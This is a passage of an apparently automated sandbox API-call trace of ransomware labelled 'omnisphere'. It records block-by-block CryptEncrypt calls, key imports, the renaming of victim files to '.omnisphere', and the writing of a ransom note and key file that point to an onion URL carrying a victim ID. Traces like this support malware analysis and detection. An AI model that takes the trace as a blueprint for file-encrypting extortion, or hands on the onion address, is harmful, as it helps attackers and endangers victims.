pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.382] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.382] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.382] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.382] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.382] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.382] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.382] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.382] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.382] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.382] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.382] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.382] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.382] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.382] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.382] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.382] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.382] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.382] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.382] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.382] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.382] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.383] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.383] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.383] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.383] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.383] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.383] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.383] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.383] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.383] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.383] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.383] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.383] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.383] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.383] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.383] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.383] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.383] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.383] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.383] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.383] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.383] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.383] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.384] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.384] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.384] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.384] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.384] CryptDestroyKey (hKey=0x1639628) returned 1 [0163.384] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0163.384] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xbbd, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0163.384] WriteFile (in: hFile=0x39c, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0ebc4, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0ebc4*=0x524, lpOverlapped=0x0) returned 1 [0163.384] GetProcessHeap () returned 0x1600000 [0163.384] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x26c) returned 0x1771de0 [0163.384] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\cvDAOhNO K.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\cvdaohno k.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\cvDAOhNO K.m4a.omnisphere" (normalized: "c:\\users\\fd1hvy\\desktop\\cvdaohno k.m4a.omnisphere")) returned 1 [0163.386] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\cvDAOhNO K.m4a.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\cvDAOhNO K.m4a.omnisphere.id") returned="C:\\Users\\FD1HVy\\Desktop\\cvDAOhNO K.m4a.omnisphere.id" [0163.386] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\cvDAOhNO K.m4a.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\desktop\\cvdaohno k.m4a.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0163.387] WriteFile (in: hFile=0x3bc, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e64c, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0e64c*=0x524, lpOverlapped=0x0) returned 1 [0163.388] CloseHandle (hObject=0x3bc) returned 1 [0163.389] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0163.389] CloseHandle (hObject=0x380) returned 1 [0163.389] SetEndOfFile (hFile=0x39c) returned 1 [0163.390] FlushFileBuffers (hFile=0x39c) returned 1 [0163.393] CloseHandle (hObject=0x39c) returned 1 [0163.394] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\Desktop\\cvDAOhNO K.m4a" | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0163.394] GetProcessHeap () returned 0x1600000 [0163.394] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1772058 [0163.394] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0163.394] GetProcessHeap () returned 0x1600000 [0163.394] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x17334c8 [0163.394] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x17334c8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0163.394] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0163.394] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0163.394] GetProcessHeap () returned 0x1600000 [0163.394] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x174f3e0 [0163.394] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x174f3e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0163.394] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0163.394] GetProcessHeap () returned 0x1600000 [0163.394] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6e) returned 0x164cdb8 [0163.394] PathCombineW (in: pszDest=0x164cdb8, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" [0163.394] GetProcessHeap () returned 0x1600000 [0163.394] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x176db30 [0163.394] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.395] WriteFile (in: hFile=0x39c, lpBuffer=0x176db30*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0ebe4, lpOverlapped=0x0 | out: lpBuffer=0x176db30*, lpNumberOfBytesWritten=0x3e0ebe4*=0x588, lpOverlapped=0x0) returned 1 [0163.395] CloseHandle (hObject=0x39c) returned 1 [0163.396] GetProcessHeap () returned 0x1600000 [0163.396] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1772058 | out: hHeap=0x1600000) returned 1 [0163.396] GetProcessHeap () returned 0x1600000 [0163.396] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x64) returned 0x163a3b0 [0163.396] PathCombineW (in: pszDest=0x163a3b0, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" [0163.396] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\desktop\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.396] WriteFile (in: hFile=0x39c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ebf8, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ebf8*=0x5a0, lpOverlapped=0x0) returned 1 [0163.396] CloseHandle (hObject=0x39c) returned 1 [0163.397] GetProcessHeap () returned 0x1600000 [0163.397] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a3b0 | out: hHeap=0x1600000) returned 1 [0163.397] GetProcessHeap () returned 0x1600000 [0163.397] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1691c48 | out: hHeap=0x1600000) returned 1 [0163.397] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ee94 | out: lpFindFileData=0x3e0ee94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x881b72c0, ftCreationTime.dwHighDateTime=0x1d4c8d0, ftLastAccessTime.dwLowDateTime=0xf3521810, ftLastAccessTime.dwHighDateTime=0x1d4d22a, ftLastWriteTime.dwLowDateTime=0xf3521810, ftLastWriteTime.dwHighDateTime=0x1d4d22a, nFileSizeHigh=0x0, nFileSizeLow=0xc1d, dwReserved0=0x0, dwReserved1=0xf5, cFileName="D7kC-DZca.jpg", cAlternateFileName="D7KC-D~1.JPG")) returned 1 [0163.397] GetProcessHeap () returned 0x1600000 [0163.397] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x5a) returned 0x1692058 [0163.397] PathCombineW (in: pszDest=0x1692058, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="D7kC-DZca.jpg" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\D7kC-DZca.jpg") returned="C:\\Users\\FD1HVy\\Desktop\\D7kC-DZca.jpg" [0163.398] StrStrW (lpFirst=".omnisphere", lpSrch=".jpg") returned 0x0 [0163.398] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D7kC-DZca.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\d7kc-dzca.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.398] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x3e0ebbc | out: lpFileSize=0x3e0ebbc*=3101) returned 1 [0163.398] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x6f9, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0163.399] ReadFile (in: hFile=0x39c, lpBuffer=0x3e0e664, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0ebac, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesRead=0x3e0ebac*=0x524, lpOverlapped=0x0) returned 1 [0163.399] GetTickCount () returned 0x116893c [0163.399] GetTickCount () returned 0x116893c [0163.399] GetTickCount () returned 0x116893c [0163.399] GetTickCount () returned 0x116893c [0163.399] GetTickCount () returned 0x116893c [0163.399] GetTickCount () returned 0x116893c [0163.399] GetTickCount () returned 0x116893c [0163.399] GetTickCount () returned 0x116893c [0163.399] GetTickCount () returned 0x116893c [0163.399] GetTickCount () returned 0x116893c [0163.399] GetTickCount () returned 0x116893c [0163.399] GetTickCount () returned 0x116893c [0163.399] GetTickCount () returned 0x116893c [0163.399] GetTickCount () returned 0x116893c [0163.399] GetTickCount () returned 0x116893c [0163.399] GetTickCount () returned 0x116893c [0163.399] GetTickCount () returned 0x116893c [0163.400] GetTickCount () returned 0x116893c [0163.400] GetTickCount () returned 0x116893c [0163.400] GetTickCount () returned 0x116893c [0163.400] GetTickCount () returned 0x116893c [0163.400] GetTickCount () returned 0x116893c [0163.400] GetTickCount () returned 0x116893c [0163.400] GetTickCount () returned 0x116893c [0163.400] GetTickCount () returned 0x116893c [0163.400] GetTickCount () returned 0x116893c [0163.400] GetTickCount () returned 0x116893c [0163.400] GetTickCount () returned 0x116893c [0163.400] GetTickCount () returned 0x116893c [0163.400] GetTickCount () returned 0x116893c [0163.400] GetTickCount () returned 0x116893c [0163.400] GetTickCount () returned 0x116893c [0163.400] CryptAcquireContextW (in: phProv=0x3e0e644, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e644*=0x1669120) returned 1 [0163.401] CryptImportKey (in: hProv=0x1669120, pbData=0x3e0e5ac, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e650 | out: phKey=0x3e0e650*=0x1639568) returned 1 [0163.401] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x75, dwBufLen=0x80 | out: pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x80) returned 1 [0163.401] CryptDestroyKey (hKey=0x1639568) returned 1 [0163.401] CryptReleaseContext (hProv=0x1669120, dwFlags=0x0) returned 1 [0163.401] CreateFileMappingW (hFile=0x39c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc1d, lpName=0x0) returned 0x380 [0163.402] MapViewOfFile (hFileMappingObject=0x380, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc1d) returned 0x1480000 [0163.402] CryptAcquireContextW (in: phProv=0x3e0e634, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e634*=0x1668bd0) returned 1 [0163.402] CryptImportKey (in: hProv=0x1668bd0, pbData=0x3e0e5ec, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e644 | out: phKey=0x3e0e644*=0x1639968) returned 1 [0163.403] CryptSetKeyParam (hKey=0x1639968, dwParam=0x4, pbData=0x3e0e628*=0x2, dwFlags=0x0) returned 1 [0163.403] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e630*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e630*=0x10) returned 1 [0163.403] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.403] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.403] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.403] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.403] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.403] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.403] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.403] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.403] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.403] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 